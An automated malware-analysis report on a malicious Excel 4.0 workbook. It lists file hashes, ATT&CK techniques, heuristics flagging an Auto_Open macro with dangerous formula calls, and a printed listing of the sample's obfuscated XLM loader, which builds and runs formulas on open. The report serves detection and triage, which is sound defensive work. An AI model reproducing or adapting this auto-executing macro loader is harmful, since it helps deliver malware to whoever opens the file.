Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d6b02eb77ecbb4e9…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:31 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 2cca7fb0f10195dc9a8b1f567f3712f7 SHA-1: 64d6a600c44317d81768976abc06ff323e50dafc SHA-256: d6b02eb77ecbb4e9fb00c48dabaac1e3579a7888d3140835657fa7c4c44ec6c8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further confirms the malicious intent to execute arbitrary code. This suggests the file is designed to exploit the macro execution capabilities for malicious purposes.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6396 bytes
SHA-256: dfc5a911b34b956b469ade0fbf49ec7f2c3d209b5a2dbceff4e2da6f4c75988f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EjH
' 0018     27 LABEL : Cell Value, String Constant - AjBxRIAIDSaN len=0 
' 0018     20 LABEL : Cell Value, String Constant - aqWTG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H140 
' 0018     26 LABEL : Cell Value, String Constant - cLNQGMNHuZk len=0 
' 0018     24 LABEL : Cell Value, String Constant - CuBuRiTUP len=0 
' 0018     20 LABEL : Cell Value, String Constant - DkNMK len=0 
' 0018     20 LABEL : Cell Value, String Constant - DOrxi len=0 
' 0018     26 LABEL : Cell Value, String Constant - EZbgOcSpKHn len=0 
' 0018     21 LABEL : Cell Value, String Constant - fpqSXg len=0 
' 0018     24 LABEL : Cell Value, String Constant - JozDvrrOQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - mfZlOuNxYcI len=0 
' 0018     26 LABEL : Cell Value, String Constant - mRFYDvZsFKo len=0 
' 0018     25 LABEL : Cell Value, String Constant - NFlRGktzGu len=0 
' 0018     25 LABEL : Cell Value, String Constant - NmdKTTuBDE len=0 
' 0018     22 LABEL : Cell Value, String Constant - qLGQdut len=0 
' 0018     25 LABEL : Cell Value, String Constant - qQOZsOpZwM len=0 
' 0018     20 LABEL : Cell Value, String Constant - UkXbr len=0 
' 0018     23 LABEL : Cell Value, String Constant - xnYkNvNn len=0 
' 0018     27 LABEL : Cell Value, String Constant - XsSfhgHpUNmN len=0 
' 0018     26 LABEL : Cell Value, String Constant - YJqMMhllLKF len=0 
' 0018     27 LABEL : Cell Value, String Constant - zjZXwUYpJlFL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EjH,H46,"SET.NAME("xnYkNvNn",VALUE("0"))",""
'  EjH,H48,"SET.NAME("AjBxRIAIDSaN",xnYkNvNn)",""
'  EjH,H50,"SET.NAME("YJqMMhllLKF",xnYkNvNn)",""
'  EjH,H52,"SET.NAME("cLNQGMNHuZk",COUNTA(NFlRGktzGu))",""
'  EjH,H57,"SET.NAME("mfZlOuNxYcI",COUNTA(UkXbr))",""
'  EjH,H61,[],""
'  EjH,H66,"SET.NAME("XsSfhgHpUNmN","")",""
'  EjH,H71,"AjBxRIAIDSaN",""
'  EjH,H73,"SET.NAME("DOrxi",HLOOKUP("*",NFlRGktzGu,AjBxRIAIDSaN,FALSE))",""
'  EjH,H77,"qQOZsOpZwM",""
'  EjH,H81,"SET.NAME("NmdKTTuBDE",xnYkNvNn)",""
'  EjH,H84,[],""
'  EjH,H89,"NmdKTTuBDE",""
'  EjH,H92,"CuBuRiTUP",""
'  EjH,H97,"mRFYDvZsFKo",""
'  EjH,H102,"JozDvrrOQ",""
'  EjH,H106,"SET.NAME("DkNMK",VALUE(HLOOKUP("*",UkXbr,JozDvrrOQ,FALSE)))",""
'  EjH,H109,"qLGQdut",""
'  EjH,H114,"XsSfhgHpUNmN",""
'  EjH,H117,"YJqMMhllLKF",""
'  EjH,H121,NEXT(),""
'  EjH,H125,"fpqSXg",""
'  EjH,H128,"SET.NAME("f",INT(T(FORMULA(T(XsSfhgHpUNmN)&"",""&T(fpqSXg)))))",""
'  EjH,H130,"EZbgOcSpKHn",""
'  EjH,H132,NEXT(),""
'  EjH,H135,RETURN(),""
'  EjH,H164,"SET.NAME("aqWTG",H46)",""
'  EjH,H169,"NFlRGktzGu",""
'  EjH,H173,"SET.NAME("UkXbr",R71C14)",""
'  EjH,H177,"SET.NAME("EZbgOcSpKHn",182)",""
'  EjH,H179,"SET.NAME("zjZXwUYpJlFL",8)",""
'  EjH,H181,aqWTG(),""
'  EjH,H182,HALT(),""